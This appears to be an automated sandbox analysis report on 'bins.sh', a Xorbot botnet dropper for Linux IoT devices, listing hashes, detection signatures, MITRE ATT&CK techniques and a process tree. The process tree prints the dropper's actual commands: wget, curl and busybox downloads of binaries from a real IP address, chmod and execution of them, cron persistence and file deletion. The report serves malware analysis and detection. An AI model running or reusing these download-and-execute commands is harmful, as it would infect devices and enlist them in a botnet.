xorbot | aecb960f575b667757b6f5d9f6a660c1ed71478bc83f32f4b53fe8c9ffd8ade2

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/12/2024, 13:27

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General

Target

bins.sh
Size

10KB
MD5

36919a182f443f4206a37203f13e5293
SHA1

b572eec4875252ec165d92efa9c9b40355b1812c
SHA256

aecb960f575b667757b6f5d9f6a660c1ed71478bc83f32f4b53fe8c9ffd8ade2
SHA512

f4d9911ed7932fabcf0bef861bb72309ff52deddc97da5aff96dc45773bf9c01f9e5cf3ccf1bd73f3cdd1dd9e08942b28d03090af8713b3df29fe65ed42ec21f
SSDEEP

192:TDuJqwwpI/00tsJWqLLefXU4nj747v+H11w9ZH00tsfLLYHU4Nj747vo11w9Z9yF:TDhWqLLefnVLLYWa

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-6.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2128) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
700	chmod
798	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	701	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	799	vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N

Renames itself 1 IoCs

pid	Process
702	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.jwgBuk	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/712/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/753/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/747/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/808/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/743/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/893/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/1020/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/1033/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/18/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/796/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/895/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/921/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/986/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/106/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/659/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/724/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/906/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/914/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/22/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/749/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/958/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/1060/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/1078/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/708/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/41/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/862/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/913/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/925/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/931/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/1004/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/1032/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/6/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/737/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/790/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/827/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/909/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/965/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/769/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/872/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/725/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/922/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/950/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/282/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/665/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/860/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/875/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/912/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/917/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/976/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/1096/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/767/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/859/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/1012/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/16/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/707/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/722/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/734/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/789/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/956/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/1022/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/1095/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/770/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/826/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
File opened for reading	/proc/907/cmdline	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	busybox
File opened for modification	/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	wget
File opened for modification	/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	curl
File opened for modification	/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:666
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:670
- /usr/bin/wget
  wget http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Writes file to tmp directory
  PID:674
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:694
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Writes file to tmp directory
  PID:698
- /bin/chmod
  chmod 777 xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  ./xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:701
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:703
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:704
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:705
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:706
- /bin/rm
  rm xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  PID:708
- /usr/bin/wget
  wget http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  PID:711
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  PID:792
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod 777 vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  ./vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - Executes dropped EXE
  PID:799
- /bin/rm
  rm vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  PID:800
- /usr/bin/wget
  wget http://37.44.238.68/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  PID:801

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.jwgBuk

Filesize
210B

MD5
878d65531fa4621f0f1e0882d5c966d8

SHA1
f85c8adcd831cefc40ded2f03071c7e68c85a81f

SHA256
ae26232f726f6ee208d418f92a2b1017ac86c5197dcff69bd1f601b46405beab

SHA512
90c63e6f745ef8a115be8d8977a394d080f75cd84080e0bffab0640bdf5f1a12bfd0f946cf57f4ad5a5aa96ed455db5134419f832ce93c4a6587f1b648010c6c

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads